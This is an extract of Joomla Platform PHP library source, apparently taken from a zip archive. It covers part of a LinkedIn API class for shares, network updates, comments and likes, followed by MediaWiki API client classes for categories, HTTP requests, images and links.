* Method to reshare an existing share.
*
* @param string $visibility One of anyone: all members or
connections-only: connections only.
* @param string $id The unique identifier for a share.
* @param string $comment Text of member's comment.
* @param boolean $twitter True to have LinkedIn pass the status
message along to a member's tethered Twitter account.
*
* @return array The decoded JSON response
*
* @since 3.2.0
* @throws RuntimeException
*/
public function reshare($visibility, $id, $comment = null, $twitter =
false)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/people/~/shares';
// Check if twitter is true.
if ($twitter)
{
$base .= '?twitter-post=true';
}
// Build xml.
$xml = '<share>
<visibility>
<code>' . $visibility . '</code>
</visibility>';
// Check if comment specified.
if ($comment)
{
$xml .= '<comment>' . $comment .
'</comment>';
}
$xml .= ' <attribution>
<share>
<id>' . $id . '</id>
</share>
</attribution>
</share>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method to get a particular member's current share.
*
* @param string $id Member id of the profile you want.
* @param string $url The public profile URL.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getCurrentShare($id = null, $url = null)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/';
// Check if a member id is specified.
if ($id)
{
$base .= 'id=' . $id;
}
elseif (!$url)
{
$base .= '~';
}
// Check if profile url is specified.
if ($url)
{
$base .= 'url=' . $this->oauth->safeEncode($url);
}
$base .= ':(current-share)';
// Set request parameters.
$data['format'] = 'json';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get a particular member's current share.
*
* @param string $id Member id of the profile you want.
* @param string $url The public profile URL.
* @param boolean $self Used to return member's feed. Omitted to
return aggregated network feed.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getShareStream($id = null, $url = null, $self = true)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/';
// Check if a member id is specified.
if ($id)
{
$base .= $id;
}
elseif (!$url)
{
$base .= '~';
}
// Check if profile url is specified.
if ($url)
{
$base .= 'url=' . $this->oauth->safeEncode($url);
}
$base .= '/network';
// Set request parameters.
$data['format'] = 'json';
$data['type'] = 'SHAR';
// Check if self is true
if ($self)
{
$data['scope'] = 'self';
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get the users network updates.
*
* @param string $id Member id.
* @param boolean $self Used to return member's feed. Omitted
to return aggregated network feed.
* @param mixed $type String containing any valid Network Update
Type from the table or an array of strings
* to specify more than one Network Update type.
* @param integer $count Number of updates to return, with a maximum
of 250.
* @param integer $start The offset by which to start Network Update
pagination.
* @param string $after Timestamp after which to retrieve updates.
* @param string $before Timestamp before which to retrieve updates.
* @param boolean $hidden Whether to display updates from people the
member has chosen to "hide" from their update stream.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getNetworkUpdates($id = null, $self = true, $type = null,
$count = 0, $start = 0, $after = null, $before = null,
$hidden = false)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/';
// Check if a member id is specified.
if ($id)
{
$base .= $id;
}
else
{
$base .= '~';
}
$base .= '/network/updates';
// Set request parameters.
$data['format'] = 'json';
// Check if self is true.
if ($self)
{
$data['scope'] = 'self';
}
// Check if type is specified.
if ($type)
{
$data['type'] = $type;
}
// Check if count is specified.
if ($count > 0)
{
$data['count'] = $count;
}
// Check if start is specified.
if ($start > 0)
{
$data['start'] = $start;
}
// Check if after is specified.
if ($after)
{
$data['after'] = $after;
}
// Check if before is specified.
if ($before > 0)
{
$data['before'] = $before;
}
// Check if hidden is true.
if ($hidden)
{
$data['hidden'] = $hidden;
}
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get information about the current member's network.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getNetworkStats()
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/network/network-stats';
// Set request parameters.
$data['format'] = 'json';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to get the users network updates.
*
* @param string $body The actual content of the update. You can use
HTML to include links to the user name and the content the user
* created. Other HTML tags are not supported. All
body text should be HTML entity escaped and UTF-8 compliant.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function postNetworkUpdate($body)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/people/~/person-activities';
// Build the xml.
$xml = '<activity locale="en_US">
<content-type>linkedin-html</content-type>
<body>' . $body . '</body>
</activity>';
$header['Content-Type'] = 'text/xml';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method to retrieve all comments for a given network update.
*
* @param string $key update/update-key representing an update.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getComments($key)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/network/updates/key=' . $key .
'/update-comments';
// Set request parameters.
$data['format'] = 'json';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to post a new comment to an existing update.
*
* @param string $key update/update-key representing an update.
* @param string $comment Maximum length of 700 characters
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function postComment($key, $comment)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 201);
// Set the API base
$base = '/v1/people/~/network/updates/key=' . $key .
'/update-comments';
// Build the xml.
$xml = '<update-comment>
<comment>' . $comment . '</comment>
</update-comment>';
$header['Content-Type'] = 'text/xml';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'POST',
$parameters, $xml, $header);
return $response;
}
/**
* Method to retrieve the complete list of people who liked an update.
*
* @param string $key update/update-key representing an update.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function getLikes($key)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the API base
$base = '/v1/people/~/network/updates/key=' . $key .
'/likes';
// Set request parameters.
$data['format'] = 'json';
// Build the request path.
$path = $this->getOption('api.url') . $base;
// Send the request.
$response = $this->oauth->oauthRequest($path, 'GET',
$parameters, $data);
return json_decode($response->body);
}
/**
* Method to like or unlike an update.
*
* @param string $key Update/update-key representing an update.
* @param boolean $like True to like update, false otherwise.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
private function _likeUnlike($key, $like)
{
$token = $this->oauth->getToken();
// Set parameters.
$parameters = array(
'oauth_token' => $token['key'],
);
// Set the success response code.
$this->oauth->setOption('success_code', 204);
// Set the API base
$base = '/v1/people/~/network/updates/key=' . $key .
'/is-liked';
// Build xml.
$xml = '<is-liked>' . $this->booleanToString($like) .
'</is-liked>';
// Build the request path.
$path = $this->getOption('api.url') . $base;
$header['Content-Type'] = 'text/xml';
// Send the request.
$response = $this->oauth->oauthRequest($path, 'PUT',
$parameters, $xml, $header);
return $response;
}
/**
* Method used to like an update.
*
* @param string $key Update/update-key representing an update.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function like($key)
{
return $this->_likeUnlike($key, true);
}
/**
* Method used to unlike an update.
*
* @param string $key Update/update-key representing an update.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
public function unlike($key)
{
return $this->_likeUnlike($key, false);
}
}
PKOn�[��8%8%mediawiki/categories.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MediaWiki API Categories class for the Joomla Platform.
*
* @since 3.1.4
*/
class JMediawikiCategories extends JMediawikiObject
{
/**
* Method to list all categories the page(s) belong to.
*
* @param array $titles Page titles to retrieve categories.
* @param array $clprop List of additional properties to get.
* @param array $clshow Type of categories to show.
* @param integer $cllimit Number of categories to return.
* @param boolean $clcontinue Continue when more results are
available.
* @param array $clcategories Only list these categories.
* @param string $cldir Direction of listing.
*
* @return object
*
* @since 3.0.0
*/
public function getCategories(array $titles, array $clprop = null, array
$clshow = null, $cllimit = null, $clcontinue = false,
array $clcategories = null, $cldir = null)
{
// Build the request.
$path = '?action=query&prop=categories';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if (isset($clprop))
{
$path .= '&clprop=' . $this->buildParameter($clprop);
}
if (isset($clshow))
{
$path .= '&$clshow=' . $this->buildParameter($clshow);
}
if (isset($cllimit))
{
$path .= '&cllimit=' . $cllimit;
}
if ($clcontinue)
{
$path .= '&clcontinue=';
}
if (isset($clcategories))
{
$path .= '&clcategories=' .
$this->buildParameter($clcategories);
}
if (isset($cldir))
{
$path .= '&cldir=' . $cldir;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get information about all categories used.
*
* @param array $titles Page titles to retrieve categories.
*
* @return object
*
* @since 3.1.4
*/
public function getCategoriesUsed(array $titles)
{
// Build the request
$path = '?action=query&generator=categories&prop=info';
// Append titles to the request
$path .= '&titles=' . $this->buildParameter($titles);
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get information about the given categories.
*
* @param array $titles Page titles to retrieve categories.
* @param boolean $clcontinue Continue when more results are
available.
*
* @return object
*
* @since 3.1.4
*/
public function getCategoriesInfo(array $titles, $clcontinue = false)
{
// Build the request.
$path = '?action=query&prop=categoryinfo';
// Append titles to the request
$path .= '&titles=' . $this->buildParameter($titles);
if ($clcontinue)
{
$path .= '&clcontinue=';
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get information about the pages within a category
*
* @param string $cmtitle The category title, must
contain 'Category:' prefix, cannot be used together with
$cmpageid
* @param string $cmpageid The category's page ID,
cannot be used together with $cmtitle
* @param string $cmlimit Maximum number of pages to
retrieve
* @param array $cmprop Array of properties to retrieve
* @param array $cmnamespace Namespaces to retrieve pages
from
* @param array $cmtype Array of category members to
include, ignored if $cmsort is set to 'timestamp'
* @param string $cmstart Timestamp to start listing
from, only used if $cmsort is set to 'timestamp'
* @param string $cmend Timestamp to end listing at,
only used if $cmsort is set to 'timestamp'
* @param string $cmstartsortkey Hexadecimal key to start
listing from, only used if $cmsort is set to 'sortkey'
* @param string $cmendsortkey Hexadecimal key to end listing
at, only used if $cmsort is set to 'sortkey'
* @param string $cmstartsortkeyprefix Hexadecimal key prefix to start
listing from, only used if $cmsort is set to 'sortkey',
* overrides $cmstartsortkey
* @param string $cmendsortkeyprefix Hexadecimal key prefix to end
listing before, only used if $cmsort is set to 'sortkey',
* overrides $cmendsortkey
* @param string $cmsort Property to sort by
* @param string $cmdir Direction to sort in
* @param string $cmcontinue Used to continue a previous
request
*
* @return object
*
* @since 3.2.2 (CMS)
* @throws RuntimeException
*/
public function getCategoryMembers($cmtitle = null, $cmpageid = null,
$cmlimit = null, array $cmprop = null, array $cmnamespace = null,
array $cmtype = null, $cmstart = null, $cmend = null, $cmstartsortkey =
null, $cmendsortkey = null, $cmstartsortkeyprefix = null,
$cmendsortkeyprefix = null, $cmsort = null, $cmdir = null, $cmcontinue =
null)
{
// Build the request.
$path = '?action=query&list=categorymembers';
// Make sure both $cmtitle and $cmpageid are not set
if (isset($cmtitle) && isset($cmpageid))
{
throw new RuntimeException('Both the $cmtitle and $cmpageid
parameters cannot be set, please only use one of the two.');
}
if (isset($cmtitle))
{
// Verify that the Category: prefix exists
if (strpos($cmtitle, 'Category:') !== 0)
{
throw new RuntimeException('The $cmtitle parameter must include
the Category: prefix.');
}
$path .= '&cmtitle=' . $cmtitle;
}
if (isset($cmpageid))
{
$path .= '&cmpageid=' . $cmpageid;
}
if (isset($cmlimit))
{
$path .= '&cmlimit=' . $cmlimit;
}
if (isset($cmprop))
{
$path .= '&cmprop=' . $this->buildParameter($cmprop);
}
if (isset($cmnamespace))
{
$path .= '&cmnamespace=' .
$this->buildParameter($cmnamespace);
}
if (isset($cmtype))
{
$path .= '&cmtype=' . $this->buildParameter($cmtype);
}
if (isset($cmstart))
{
$path .= '&cmstart=' . $cmstart;
}
if (isset($cmend))
{
$path .= '&cmend=' . $cmend;
}
if (isset($cmstartsortkey))
{
$path .= '&cmstartsortkey=' . $cmstartsortkey;
}
if (isset($cmendsortkey))
{
$path .= '&cmendsortkey=' . $cmendsortkey;
}
if (isset($cmstartsortkeyprefix))
{
$path .= '&cmstartsortkeyprefix=' . $cmstartsortkeyprefix;
}
if (isset($cmendsortkeyprefix))
{
$path .= '&cmendsortkeyprefix=' . $cmendsortkeyprefix;
}
if (isset($cmsort))
{
$path .= '&cmsort=' . $cmsort;
}
if (isset($cmdir))
{
$path .= '&cmdir=' . $cmdir;
}
if (isset($cmcontinue))
{
$path .= '&cmcontinue=' . $cmcontinue;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to enumerate all categories.
*
* @param string $acfrom The category to start enumerating from.
* @param string $acto The category to stop enumerating at.
* @param string $acprefix Search for all category titles that begin
with this value.
* @param string $acdir Direction to sort in.
* @param integer $acmin Minimum number of category members.
* @param integer $acmax Maximum number of category members.
* @param integer $aclimit How many categories to return.
* @param array $acprop Which properties to get.
*
* @return object
*
* @since 3.1.4
*/
public function enumerateCategories($acfrom = null, $acto = null,
$acprefix = null, $acdir = null, $acmin = null,
$acmax = null, $aclimit = null, array $acprop = null)
{
// Build the request.
$path = '?action=query&list=allcategories';
if (isset($acfrom))
{
$path .= '&acfrom=' . $acfrom;
}
if (isset($acto))
{
$path .= '&acto=' . $acto;
}
if (isset($acprefix))
{
$path .= '&acprefix=' . $acprefix;
}
if (isset($acdir))
{
$path .= '&acdir=' . $acdir;
}
if (isset($acfrom))
{
$path .= '&acfrom=' . $acfrom;
}
if (isset($acmin))
{
$path .= '&acmin=' . $acmin;
}
if (isset($acmax))
{
$path .= '&acmax=' . $acmax;
}
if (isset($aclimit))
{
$path .= '&aclimit=' . $aclimit;
}
if (isset($acprop))
{
$path .= '&acprop=' . $this->buildParameter($acprop);
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to list change tags.
*
* @param array $tgprop List of properties to get.
* @param string $tglimit The maximum number of tags to limit.
*
* @return object
*
* @since 3.1.4
*/
public function getChangeTags(array $tgprop = null, $tglimit = null)
{
// Build the request.
$path = '?action=query&list=tags';
if (isset($tgprop))
{
$path .= '&tgprop=' . $this->buildParameter($tgprop);
}
if (isset($tglimit))
{
$path .= '&tglimit=' . $tglimit;
}
// @TODO add support for $tgcontinue
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
}
PKOn�[t ��mediawiki/http.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* HTTP client class for connecting to a MediaWiki instance.
*
* @since 3.1.4
*/
class JMediawikiHttp extends JHttp
{
/**
* Constructor.
*
* @param Registry $options Client options object.
* @param JHttpTransport $transport The HTTP transport object.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JHttpTransport
$transport = null)
{
// Override the JHttp contructor to use JHttpTransportStream.
$this->options = isset($options) ? $options : new Registry;
$this->transport = isset($transport) ? $transport : new
JHttpTransportStream($this->options);
// Make sure the user agent string is defined.
$this->options->def('api.useragent',
'JMediawiki/1.0');
// Set the default timeout to 120 seconds.
$this->options->def('api.timeout', 120);
}
/**
* Method to send the GET command to the server.
*
* @param string $url Path to the resource.
* @param array $headers An array of name-value pairs to include in
the header of the request.
* @param integer $timeout Read timeout in seconds.
*
* @return JHttpResponse
*
* @since 3.1.4
*/
public function get($url, array $headers = null, $timeout = null)
{
// Look for headers set in the options.
$temp = (array) $this->options->get('headers');
foreach ($temp as $key => $val)
{
if (!isset($headers[$key]))
{
$headers[$key] = $val;
}
}
// Look for timeout set in the options.
if ($timeout === null &&
$this->options->exists('api.timeout'))
{
$timeout = $this->options->get('api.timeout');
}
return $this->transport->request('GET', new JUri($url),
null, $headers, $timeout,
$this->options->get('api.useragent'));
}
/**
* Method to send the POST command to the server.
*
* @param string $url Path to the resource.
* @param mixed $data Either an associative array or a string to
be sent with the request.
* @param array $headers An array of name-value pairs to include in
the header of the request
* @param integer $timeout Read timeout in seconds.
*
* @return JHttpResponse
*
* @since 3.1.4
*/
public function post($url, $data, array $headers = null, $timeout = null)
{
// Look for headers set in the options.
$temp = (array) $this->options->get('headers');
foreach ($temp as $key => $val)
{
if (!isset($headers[$key]))
{
$headers[$key] = $val;
}
}
// Look for timeout set in the options.
if ($timeout === null &&
$this->options->exists('api.timeout'))
{
$timeout = $this->options->get('api.timeout');
}
return $this->transport->request('POST', new JUri($url),
$data, $headers, $timeout,
$this->options->get('api.useragent'));
}
}
PKOn�[�mediawiki/images.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MediaWiki API Images class for the Joomla Platform.
*
* @since 3.1.4
*/
class JMediawikiImages extends JMediawikiObject
{
/**
* Method to get all images contained on the given page(s).
*
* @param array $titles Page titles to retrieve images.
* @param integer $imagelimit How many images to return.
* @param boolean $imagecontinue When more results are available, use
this to continue.
* @param integer $imimages Only list these images.
* @param string $imdir The direction in which to list.
*
* @return object
*
* @since 3.1.4
*/
public function getImages(array $titles, $imagelimit = null,
$imagecontinue = null, $imimages = null, $imdir = null)
{
// Build the request.
$path = '?action=query&prop=images';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if (isset($imagelimit))
{
$path .= '&imagelimit=' . $imagelimit;
}
if ($imagecontinue)
{
$path .= '&imagecontinue=';
}
if (isset($imimages))
{
$path .= '&imimages=' . $imimages;
}
if (isset($imdir))
{
$path .= '&imdir=' . $imdir;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get all images contained on the given page(s).
*
* @param array $titles Page titles to retrieve links.
*
* @return object
*
* @since 3.1.4
*/
public function getImagesUsed(array $titles)
{
// Build the request.
$path = '?action=query&generator=images&prop=info';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to get all image information and upload history.
*
* @param array $liprop What image information to get.
* @param integer $lilimit How many image revisions to
return.
* @param string $listart Timestamp to start listing from.
* @param string $liend Timestamp to stop listing at.
* @param integer $liurlwidth URL to an image scaled to this
width will be returned..
* @param integer $liurlheight URL to an image scaled to this
height will be returned.
* @param string $limetadataversion Version of metadata to use.
* @param string $liurlparam A handler specific parameter
string.
* @param boolean $licontinue When more results are available,
use this to continue.
*
* @return object
*
* @since 3.1.4
*/
public function getImageInfo(array $liprop = null, $lilimit = null,
$listart = null, $liend = null, $liurlwidth = null,
$liurlheight = null, $limetadataversion = null, $liurlparam = null,
$licontinue = null)
{
// Build the request.
$path = '?action=query&prop=imageinfo';
if (isset($liprop))
{
$path .= '&liprop=' . $this->buildParameter($liprop);
}
if (isset($lilimit))
{
$path .= '&lilimit=' . $lilimit;
}
if (isset($listart))
{
$path .= '&listart=' . $listart;
}
if (isset($liend))
{
$path .= '&liend=' . $liend;
}
if (isset($liurlwidth))
{
$path .= '&liurlwidth=' . $liurlwidth;
}
if (isset($liurlheight))
{
$path .= '&liurlheight=' . $liurlheight;
}
if (isset($limetadataversion))
{
$path .= '&limetadataversion=' . $limetadataversion;
}
if (isset($liurlparam))
{
$path .= '&liurlparam=' . $liurlparam;
}
if ($licontinue)
{
$path .= '&alcontinue=';
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to enumerate all images.
*
* @param string $aifrom The image title to start enumerating
from.
* @param string $aito The image title to stop enumerating
at.
* @param string $aiprefix Search for all image titles that begin
with this value.
* @param integer $aiminsize Limit to images with at least this
many bytes.
* @param integer $aimaxsize Limit to images with at most this many
bytes.
* @param integer $ailimit How many images in total to return.
* @param string $aidir The direction in which to list.
* @param string $aisha1 SHA1 hash of image.
* @param string $aisha1base36 SHA1 hash of image in base 36.
* @param array $aiprop What image information to get.
* @param string $aimime What MIME type to search for.
*
* @return object
*
* @since 3.1.4
*/
public function enumerateImages($aifrom = null, $aito = null, $aiprefix =
null, $aiminsize = null, $aimaxsize = null, $ailimit = null,
$aidir = null, $aisha1 = null, $aisha1base36 = null, array $aiprop =
null, $aimime = null)
{
// Build the request.
$path = '?action=query&list=allimages';
if (isset($aifrom))
{
$path .= '&aifrom=' . $aifrom;
}
if (isset($aito))
{
$path .= '&aito=' . $aito;
}
if (isset($aiprefix))
{
$path .= '&aiprefix=' . $aiprefix;
}
if (isset($aiminsize))
{
$path .= '&aiminsize=' . $aiminsize;
}
if (isset($aimaxsize))
{
$path .= '&aimaxsize=' . $aimaxsize;
}
if (isset($ailimit))
{
$path .= '&ailimit=' . $ailimit;
}
if (isset($aidir))
{
$path .= '&aidir=' . $aidir;
}
if (isset($aisha1))
{
$path .= '&aisha1=' . $aisha1;
}
if (isset($aisha1base36))
{
$path .= '&$aisha1base36=' . $aisha1base36;
}
if (isset($aiprop))
{
$path .= '&aiprop=' . $this->buildParameter($aiprop);
}
if (isset($aimime))
{
$path .= '&aimime=' . $aimime;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
}
PKOn�[1�k��mediawiki/links.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MediaWiki API Links class for the Joomla Platform.
*
* @since 3.1.4
*/
class JMediawikiLinks extends JMediawikiObject
{
/**
* Method to return all links from the given page(s).
*
* @param array $titles Page titles to retrieve links.
* @param array $plnamespace Namespaces to get links.
* @param string $pllimit Number of links to return.
* @param string $plcontinue Continue when more results are
available.
* @param array $pltitles List links to these titles.
* @param string $pldir Direction of listing.
*
* @return object
*
* @since 3.1.4
*/
public function getLinks(array $titles, array $plnamespace = null,
$pllimit = null, $plcontinue = null, array $pltitles = null, $pldir = null)
{
// Build the request.
$path = '?action=query&prop=links';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if (isset($plnamespace))
{
$path .= '&plnamespace=' .
$this->buildParameter($plnamespace);
}
if (isset($pllimit))
{
$path .= '&pllimit=' . $pllimit;
}
if (isset($plcontinue))
{
$path .= '&plcontinue=' . $plcontinue;
}
if (isset($pltitles))
{
$path .= '&pltitles=' .
$this->buildParameter($pltitles);
}
if (isset($pldir))
{
$path .= '&pldir=' . $pldir;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to return info about the link pages.
*
* @param array $titles Page titles to retrieve links.
*
* @return object
*
* @since 3.1.4
*/
public function getLinksUsed(array $titles)
{
// Build the request.
$path = '?action=query&generator=links&prop=info';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to return all interwiki links from the given page(s).
*
* @param array $titles Page titles to retrieve links.
* @param boolean $iwurl Whether to get the full url.
* @param integer $iwlimit Number of interwiki links to return.
* @param boolean $iwcontinue When more results are available, use
this to continue.
* @param string $iwprefix Prefix for the interwiki.
* @param string $iwtitle Interwiki link to search for.
* @param string $iwdir The direction in which to list.
*
* @return object
*
* @since 3.1.4
*/
public function getIWLinks(array $titles, $iwurl = false, $iwlimit = null,
$iwcontinue = false, $iwprefix = null, $iwtitle = null, $iwdir = null)
{
// Build the request.
$path = '?action=query&prop=links';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if ($iwurl)
{
$path .= '&iwurl=';
}
if (isset($iwlimit))
{
$path .= '&iwlimit=' . $iwlimit;
}
if ($iwcontinue)
{
$path .= '&iwcontinue=';
}
if (isset($iwprefix))
{
$path .= '&iwprefix=' . $iwprefix;
}
if (isset($iwtitle))
{
$path .= '&iwtitle=' . $iwtitle;
}
if (isset($iwdir))
{
$path .= '&iwdir=' . $iwdir;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to return all interlanguage links from the given page(s).
*
* @param array $titles Page titles to retrieve links.
* @param integer $lllimit Number of language links to return.
* @param boolean $llcontinue When more results are available, use
this to continue.
* @param string $llurl Whether to get the full URL.
* @param string $lllang Language code.
* @param string $lltitle Link to search for.
* @param string $lldir The direction in which to list.
*
* @return object
*
* @since 3.1.4
*/
public function getLangLinks(array $titles, $lllimit = null, $llcontinue =
false, $llurl = null, $lllang = null, $lltitle = null, $lldir = null)
{
// Build the request.
$path = '?action=query&prop=langlinks';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if (isset($lllimit))
{
$path .= '&lllimit=' . $lllimit;
}
if ($llcontinue)
{
$path .= '&llcontinue=';
}
if (isset($llurl))
{
$path .= '&llurl=' . $llurl;
}
if (isset($lllang))
{
$path .= '&lllang=' . $lllang;
}
if (isset($lltitle))
{
$path .= '&lltitle=' . $lltitle;
}
if (isset($lldir))
{
$path .= '&lldir=' . $lldir;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to return all external urls from the given page(s).
*
* @param array $titles Page titles to retrieve links.
* @param integer $ellimit Number of links to return.
* @param string $eloffset When more results are available, use
this to continue.
* @param string $elprotocol Protocol of the url.
* @param string $elquery Search string without protocol.
*
* @return object
*
* @since 3.1.4
*/
public function getExtLinks(array $titles, $ellimit = null, $eloffset =
null, $elprotocol = null, $elquery = null)
{
// Build the request.
$path = '?action=query&prop=extlinks';
// Append titles to the request.
$path .= '&titles=' . $this->buildParameter($titles);
if (isset($ellimit))
{
$path .= '&ellimit=' . $ellimit;
}
if (isset($eloffset))
{
$path .= '&eloffset=' . $eloffset;
}
if (isset($elprotocol))
{
$path .= '&elprotocol=' . $elprotocol;
}
if (isset($elquery))
{
$path .= '&elquery=' . $elquery;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to enumerate all links that point to a given namespace.
*
* @param boolean $alcontinue When more results are available, use
this to continue.
* @param string $alfrom Start listing at this title. The title
need not exist.
* @param string $alto The page title to stop enumerating at.
* @param string $alprefix Search for all page titles that begin
with this value.
* @param string $alunique Only show unique links.
* @param array $alprop What pieces of information to include.
* @param string $alnamespace The namespace to enumerate.
* @param integer $allimit Number of links to return.
*
* @return object
*
* @since 3.1.4
*/
public function enumerateLinks($alcontinue = false, $alfrom = null, $alto
= null, $alprefix = null, $alunique = null, array $alprop = null,
$alnamespace = null, $allimit = null)
{
// Build the request.
$path = '?action=query&meta=siteinfo';
if ($alcontinue)
{
$path .= '&alcontinue=';
}
if (isset($alfrom))
{
$path .= '&alfrom=' . $alfrom;
}
if (isset($alto))
{
$path .= '&alto=' . $alto;
}
if (isset($alprefix))
{
$path .= '&alprefix=' . $alprefix;
}
if (isset($alunique))
{
$path .= '&alunique=' . $alunique;
}
if (isset($alprop))
{
$path .= '&alprop=' . $this->buildParameter($alprop);
}
if (isset($alnamespace))
{
$path .= '&alnamespace=' . $alnamespace;
}
if (isset($allimit))
{
$path .= '&allimit=' . $allimit;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
}
PKOn�[Ȅ��__mediawiki/mediawiki.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage MediaWiki
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with a Mediawiki server instance.
*
* @property-read JMediawikiSites $sites MediaWiki API
object for sites.
* @property-read JMediawikiPages $pages MediaWiki API
object for pages.
* @property-read JMediawikiUsers $users MediaWiki API
object for users.
* @property-read JMediawikiLinks $links MediaWiki API
object for links.
* @property-read JMediawikiCategories $categories MediaWiki API
object for categories.
